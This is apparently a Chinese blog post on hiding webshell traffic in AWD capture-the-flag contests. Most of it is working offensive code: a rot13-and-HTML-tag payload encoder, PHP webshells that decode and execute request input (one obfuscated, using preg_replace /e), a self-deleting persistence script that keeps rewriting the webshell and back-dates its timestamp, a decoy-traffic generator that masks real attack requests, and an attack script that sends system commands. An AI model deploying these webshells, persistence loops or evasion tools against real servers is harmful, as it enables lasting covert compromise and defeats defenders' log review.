AWD 流量混淆之道
题目取得有点标题党,其实只是自己当时的一个想法,去实现了一遍,只有简单的一个混淆的脚本,水平比较有限,所以很多地方实现的并不是比较合理,望各位师傅们,勿喷,写这篇文章的目的主要是提供思路的参考
0x01 混淆原理
原理非常简单,利用了strip_tags
和rot13
算法
将正常的payload编码成类似的模样
c<p>u<a>c<head>v<a>a<head>s<body>b<head>(<head>)<span>
然后在在一句话木马处设置解码函数
进行解码
循环遍历Web目录下所有的php文件,匹配所有的请求的函数名,然后随机发送经过编码后的混淆数据,以达到流量混淆的目的
效果图

标红的位置是利用webshell的流量,其余的全是混淆流量
利用webshell的流量包内容如下

0x02 编码与解码
核心为攻击流量的编码和webshell
端的解码部分
encode.py
def rot13(s, OffSet=13):
def encodeCh(ch):
f=lambda x: chr((ord(ch)-x+OffSet) % 26 + x)
return f(97) if ch.islower() else (f(65) if ch.isupper() else ch)
return ''.join(encodeCh(c) for c in s)
listhtml = ["<p>","<body>","<head>","<a>","<span>","<br>"]
def tags(str):
string = ""
for i in str:
i+=listhtml[random.randint(0,len(listhtml)-1)]
string+=i
return string
def encode(str):
return tags(rot13((str)))
使用encode对payload进行编码
print(encode("cat /root/flag"))
输出结果
p<span>n<body>g<span> <br>/<br>e<body>b<span>b<br>g<span>/<head>s<body>y<a>n<br>t<body>
在webshell端进行解码
<?php
echo strip_tags(str_rot13($_REQUEST['cmd']);
?>
解码效果

0x03 流量混淆
流量混淆的思路,首先遍历Web
目录下的所有php文件,将其添加到列表php_path
中
php_path = [] #定义php文件变量列表
request_list = [] #定义传值参数名,变量列表
def traverse(path):
for item in os.listdir(path):
fullitem = os.path.join(path,item)#组合成新目录
if ".php" in fullitem:
php_path.append(fullitem)
if os.path.isdir(fullitem):
traverse(fullitem)
然后对php_path
中的文件进行正则匹配,匹配出所有的GET
、POST
、REQUEST
的变量名,将其去重后添加到request_list
列表中
def request_search(path):
for file in path:
"""
通过try except 解决了编码问题
每个文件的编码不一定都相同
"""
try:
f = open(file,"r",encoding="UTF-8").read()
except UnicodeDecodeError:
f = open(file, "r", encoding="GBK").read()
"""
通过测试正则,解决了匹配问题
$,[ 在正则中本身有特殊含义
"""
key_get = "\$_GET\['(.+?)']"
key_post = "\$_POST\['(.+?)']"
key_cookie = "\$_REQUEST\['(.+?)']"
key_get_re = re.compile(key_get)
key_post_re = re.compile(key_post)
key_cookie_re = re.compile(key_cookie)
if len(re.findall(key_get_re,f)):
for get in re.findall(key_get_re,f):
request_list.append(get)
if len(re.findall(key_post_re,f)):
for post in re.findall(key_post_re,f):
request_list.append(post)
if len(re.findall(key_cookie_re,f)):
for cookie in re.findall(key_cookie_re,f):
request_list.append(cookie)
request_list = list(set(request_list)) #去重
随机生成混淆的字符串
def confusion_payload():#混淆payload函数
random_char = "abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
random_strings = "".join(random.sample(random_char, random.randint(1, 186))) # 此处最大值,根据字符串长度
return encode(random_strings)
发送混淆流量
def request_confusion(host, req, page, variable, payload):#混淆流量发送函数
#print(payload)
host = "http://"+host
"""
这里0代表GET,1代表POST,2代表COOKIE
"""
if req == 0:
url = host + "/" + page + "?" + variable + "=" + payload
try:
requests.get(url)
print("[+]GET")
except:
print("get error")
elif req == 1:
url = host+"/"+page
data = {
variable:payload,
}
try:
requests.post(url=url,data=data)
print("[+]POST")
except:
print("post error")
elif req == 2:
url = host + "/" + page
header = {
"cookie":variable+"="+payload
}
try:
requests.get(url=url,headers=header)
print("[+]Cookie")
except:
print("Cookie error")
调用发送混淆流量
def confusion(host):#调用混淆模块,这里采用随机的方式,不发送全部流量
pagecount = []
num = random.randint(3, 10)
for pagenum in range(num):
page = php_path[random.randint(0, len(php_path) - 1)]
page = page.replace(path + "\\", "").replace("\\", "/")
if page not in pagecount:#仅向未发送过的页面发送数据
pagecount.append(page)
req = random.randint(0, 2)
payload = confusion_payload()
variable = request_list[random.randint(0, len(request_list) - 1)]
request_confusion(host=host, req=req, page=page, variable=variable, payload=payload)
0x04 混淆马
对木马也进行混淆,这里参考ph
牛的变形WebShell
的方法
<?php $_=[];/*10ae9fc7d453b0dd525d0edf2ede7961*/;$_=@"$_";@$_=$_["!"=="@"].$_["!"!=="@"].$_[2].$_[3];$file=$_;@preg_replace("/abc/e",strip_tags(str_rot13($_REQUEST[$file])),"abcd"); ?>
但是只适用于php5.5
版本以上,5.5以下会报错
Parse error: syntax error, unexpected '[' in F:\phpStudy\PHPTutorial\WWW\AWD\conn.php on line 1
这里当然可以采用内存马来不断的写入,来达到不死混淆马的目的
其中的注释部分用于检测,完整性是否被破坏
<?php
set_time_limit(0);//程序允许执行的秒数,其中将秒数设为0表示持续运行
ignore_user_abort(True);//设置客户端断开后,自动执行
unlink(__FILE__);
$file = "conn.php";
$payload = '<?php $_=[];/*'.md5("list").'*/;$_=@"$_";@$_=$_["!"=="@"].$_["!"!=="@"].$_[2].$_[3];$file=$_;@preg_replace("/abc/e",strip_tags(str_rot13($_REQUEST[$file])),"abcd"); ?>';
while(1){
$shelltext=file_get_contents($file);
if(file_exists($file)){
if (!strstr ($shelltext,md5("list")))
{
@file_put_contents($file,$payload,FILE_APPEND);
}
}else{
@file_put_contents($file,$payload);
}
touch($file,mktime(20,15,1,11,28,2016));
sleep(1);
}
?>
0x05 完整代码
之前的代码是拆分成一个一个功能模块来实现的,在最后的时候,我把它改成了面向对象的形式来实现
贴上最终版代码
confusion.py
# coding=utf-8
import os
import re
import requests
import random
import encode #调用自写encode payload编码模块
class confusion:
def __init__(self,path):
self.path = path
self.php_path = [] # 定义php文件变量列表
self.request_list = [] # 定义传值参数名,变量列表
self.traverse() #获取php文件的路径
self.request_search()
def traverse(self):
for item in os.listdir(self.path):
self.fullitem = os.path.join(self.path,item)#组合成新目录
if ".php" in self.fullitem:
self.php_path.append(self.fullitem)
if os.path.isdir(self.fullitem):
self.traverse(self.fullitem)
def request_search(self):
for file in self.php_path:
"""
通过try except 解决了编码问题
每个文件的编码不一定一致
"""
try:
f = open(file,"r",encoding="UTF-8").read()
except UnicodeDecodeError:
f = open(file, "r", encoding="GBK").read()
"""
通过测试正则,解决了匹配问题
$,[ 在正则中本身有特殊含义
"""
key_get = "\$_GET\['(.+?)']"
key_post = "\$_POST\['(.+?)']"
key_cookie = "\$_REQUEST\['(.+?)']"
key_get_re = re.compile(key_get)
key_post_re = re.compile(key_post)
key_cookie_re = re.compile(key_cookie)
if len(re.findall(key_get_re,f)):
for get in re.findall(key_get_re,f):
self.request_list.append(get)
if len(re.findall(key_post_re,f)):
for post in re.findall(key_post_re,f):
self.request_list.append(post)
if len(re.findall(key_cookie_re,f)):
for cookie in re.findall(key_cookie_re,f):
self.request_list.append(cookie)
self.request_list = list(set(self.request_list))
def request_confusion(self,host, req, page, variable, payload):#混淆流量发送函数
host = "http://"+host
"""
这里0代表get,1代表post,2代表cookie
"""
if req == 0:
url = host + "/" + page + "?" + variable + "=" + payload
try:
requests.get(url,timeout=2)
except:
pass
#print("ERROR GET")
elif req == 1:
url = host+"/"+page
data = {
variable:payload,
}
try:
requests.post(url=url,data=data,timeout=2)
except:
pass
#print("ERROR POST")
elif req == 2:
url = host + "/" + page
header = {
"cookie":variable+"="+payload
}
try:
requests.get(url=url,headers=header,timeout=2)
except:
pass
#print("ERROR COOKIE")
def confusion(self,host):#调用混淆模块,这里采用随机的方式,不发送全部流量
pagecount = []
num = random.randint(3, 10)
i = 0
for pagenum in range(num):
page = self.php_path[random.randint(0, len(self.php_path) - 1)]
page = page.replace(self.path + "\\", "").replace("\\", "/")
if page not in pagecount:#仅向未发送过的页面发送数据
pagecount.append(page)
req = random.randint(0, 2)
payload = encode.confusion_payload()
variable = self.request_list[random.randint(0, len(self.request_list) - 1)]
self.request_confusion(host=host, req=req, page=page, variable=variable, payload=payload)
encode.py
import random
def rot13(s, OffSet=13):
def encodeCh(ch):
f=lambda x: chr((ord(ch)-x+OffSet) % 26 + x)
return f(97) if ch.islower() else (f(65) if ch.isupper() else ch)
return ''.join(encodeCh(c) for c in s)
listhtml = ["<p>","<body>","<head>","<a>","<span>","<br>"]
def tags(str):
string = ""
for i in str:
i+=listhtml[random.randint(0,len(listhtml)-1)]
string+=i
return string
def encode(str):
return tags(rot13((str)))
payload = "cat /root/flag"
print(encode(payload)) #测试输出真正的编码后的payload
"""
strip_tags()
"""
def confusion_payload():#混淆payload函数
random_char = "abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
random_strings = "".join(random.sample(random_char, random.randint(1, 186))) # 此处最大值,根据字符串长度
return encode(random_strings)
# for i in range(100): #测试输出混淆payload部分
# print(confusion_payload())
attack.py
# coding=utf-8
import requests
import encode
import confusion
conf = confusion.confusion("F:\\phpStudy\\PHPTutorial\\WWW\\awd")
url = "http://10.232.54.176/awd/conn.php"
payload = 'system("type flag")'
payload_encode = encode.encode(payload)
#print(payload_encode)
data = {
"Arra":payload_encode,
}
conf.confusion("10.232.54.176/awd")
html = requests.post(url,data=data).text
conf.confusion("10.232.54.176/awd")
print(html)
#print(encode.encode("system('ipconfig');"))